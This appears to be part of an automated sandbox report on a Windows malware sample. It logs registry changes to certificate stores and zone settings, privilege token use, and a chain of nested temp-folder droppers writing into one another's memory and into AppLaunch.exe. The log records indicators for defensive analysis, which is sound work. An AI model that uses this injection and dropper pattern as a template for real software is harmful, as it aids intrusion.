Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1872 = "Russia TZ 7 Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2181 = "Astrakhan Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2611 = "Bougainville Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1802 = "Line Islands Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2841 = "Saratov Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2871 = "Magallanes Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2572 = "Turks and Caicos Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\3bZ71yk.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\3bZ71yk.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Windows\Explorer.EXE N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\3bZ71yk.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\4545.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WerFault.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of UnmapMainImage

Description Indicator Process Target
N/A N/A C:\Windows\Explorer.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3264 wrote to memory of 1380 N/A C:\Users\Admin\AppData\Local\Temp\bd7c9bf28033b40a9a7915b1718589d147be884b09cf25f5f0b4628344911ff4.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\jN6sh25.exe
PID 3264 wrote to memory of 1380 N/A C:\Users\Admin\AppData\Local\Temp\bd7c9bf28033b40a9a7915b1718589d147be884b09cf25f5f0b4628344911ff4.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\jN6sh25.exe
PID 3264 wrote to memory of 1380 N/A C:\Users\Admin\AppData\Local\Temp\bd7c9bf28033b40a9a7915b1718589d147be884b09cf25f5f0b4628344911ff4.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\jN6sh25.exe
PID 1380 wrote to memory of 1252 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\jN6sh25.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\VW3RY89.exe
PID 1380 wrote to memory of 1252 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\jN6sh25.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\VW3RY89.exe
PID 1380 wrote to memory of 1252 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\jN6sh25.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\VW3RY89.exe
PID 1252 wrote to memory of 2860 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\VW3RY89.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\cA2Bb69.exe
PID 1252 wrote to memory of 2860 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\VW3RY89.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\cA2Bb69.exe
PID 1252 wrote to memory of 2860 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\VW3RY89.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\cA2Bb69.exe
PID 2860 wrote to memory of 2116 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\cA2Bb69.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\xE6uU43.exe
PID 2860 wrote to memory of 2116 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\cA2Bb69.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\xE6uU43.exe
PID 2860 wrote to memory of 2116 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\cA2Bb69.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\xE6uU43.exe
PID 2116 wrote to memory of 4232 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\xE6uU43.exe C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\JB2jr05.exe
PID 2116 wrote to memory of 4232 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\xE6uU43.exe C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\JB2jr05.exe
PID 2116 wrote to memory of 4232 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\xE6uU43.exe C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\JB2jr05.exe
PID 4232 wrote to memory of 4796 N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\JB2jr05.exe C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1EN31Do1.exe
PID 4232 wrote to memory of 4796 N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\JB2jr05.exe C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1EN31Do1.exe
PID 4232 wrote to memory of 4796 N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\JB2jr05.exe C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1EN31Do1.exe
PID 4796 wrote to memory of 4412 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1EN31Do1.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4796 wrote to memory of 4412 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1EN31Do1.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4796 wrote to memory of 4412 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1EN31Do1.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4796 wrote to memory of 3468 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1EN31Do1.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4796 wrote to memory of 3468 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1EN31Do1.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4796 wrote to memory of 3468 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1EN31Do1.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
